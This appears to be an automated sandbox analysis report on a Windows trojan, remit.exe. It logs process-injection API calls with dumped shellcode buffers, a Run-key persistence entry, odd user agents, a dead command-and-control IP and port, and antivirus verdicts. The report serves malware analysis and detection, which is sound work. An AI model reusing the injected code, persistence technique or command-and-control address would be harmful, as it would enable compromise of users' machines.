NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00190000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Srakjle

reg_value

C:\Users\Public\Libraries\eljkarS.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1548 created a remote thread in non-child process 1988
CreateRemoteThread Sept. 22, 2021, 9:50 a.m.	thread_identifier: 2168 process_identifier: 1988 function_address: 0x000f0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000184	1	1392	0
CreateRemoteThread Sept. 22, 2021, 9:50 a.m.	thread_identifier: 2428 process_identifier: 1988 function_address: 0x00010000 flags: 0 stack_size: 0 parameter: 0x00120000 process_handle: 0x00000184	1	1392	0
CreateRemoteThread Sept. 22, 2021, 9:50 a.m.	thread_identifier: 2256 process_identifier: 1988 function_address: 0x00170000 flags: 0 stack_size: 0 parameter: 0x00160000 process_handle: 0x00000184	1	1388	0
CreateRemoteThread Sept. 22, 2021, 9:50 a.m.	thread_identifier: 2312 process_identifier: 1988 function_address: 0x00190000 flags: 0 stack_size: 0 parameter: 0x00180000 process_handle: 0x00000184	1	1396	0

Manipulates memory of a non-child process indicative of process injection (13 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1548 manipulating memory of non-child process 1988
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:50 a.m.	process_identifier: 1988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00190000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0

Potential code injection by writing to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1548 injected into non-child 1988
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: hÿhÿ×I¤vÕ³wkernel32.dllÿ ûS@úS¾t®t púSÉ®t ý~TúSla®tQy®t[ ý~púS:®t6;´tûSmØ¯tÈúSÈúSÿÿÿÿ4ûS ûS"Dò%òûSÀ%òØúSÔnØnûSUìö]ìöDûSKò base_address: 0x000f0000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: GetProcAddress base_address: 0x00100000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: kernel32.dll base_address: 0x00110000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: Õ³w"¤vE¤v base_address: 0x00120000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhpôöhôöèyûÿPèyûÿEèhôöhôöèqyûÿPèsyûÿEäh¤ôöhôöèYyûÿPè[yûÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº\|óöÃè`üÿÿØÛtjÿSèZzûÿEôPSèÈxûÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00010000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: LoadLibraryA base_address: 0x00140000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: kernel32.dll base_address: 0x00150000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: Õ³w"¤vE¤v base_address: 0x00160000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhpôöhôöèyûÿPèyûÿEèhôöhôöèqyûÿPèsyûÿEäh¤ôöhôöèYyûÿPè[yûÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº\|óöÃè`üÿÿØÛtjÿSèZzûÿEôPSèÈxûÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00170000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: Y®Y base_address: 0x00180000 process_identifier: 1988 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:50 a.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔøêöè aûÿ3ÀUhióödÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÌ{ûÿEð}ðt0hjEðPèÃ{ûÿj@h0Eô@PPEô@4ÃPVè{ûÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVè{ûÿjjMèº4òöÆè_ýÿÿÀtÆEÿ3ÀZYYdhpóöEÔøêöèà`ûÿÃ base_address: 0x00190000 process_identifier: 1988 process_handle: 0x00000184	1	1	0

Network activity contains more than one unique useragent (2 events)

process	remit.exe				useragent	zipo
process	remit.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2532 resumed a thread in remote process 2264
Process injection	Process 2960 resumed a thread in remote process 1276
NtResumeThread Sept. 22, 2021, 9:50 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2264	1	0	0
NtResumeThread Sept. 22, 2021, 10 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1276	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

C:\Windows\System32\mobsync.exe

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
CrowdStrike	win/malicious_confidence_70% (W)
Cyren	W32/Trojan.AIYB-0080
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
McAfee-GW-Edition	BehavesLike.Win32.Infected.th
Sophos	Mal/Generic-R
Webroot	W32.Trojan.Gen
Kingsoft	Win32.Hack.Undef.(kcloud)
Microsoft	Trojan:Win32/Woreflint.A!cl
McAfee	Artemis!CF98D2D4D455
Malwarebytes	Trojan.MalPack.SMY.Generic
eGambit	Unsafe.AI_Score_99%
Fortinet	W32/GenKryptik.EKLE!tr
BitDefenderTheta	Gen:NN.ZelphiF.34170.fLW@ay5cswai
AVG	FileRepMalware
Cybereason	malicious.9d3ea7
Avast	FileRepMalware
MaxSecure	Trojan.Malware.300983.susgen

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

31.3.152.100:8618

remit.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All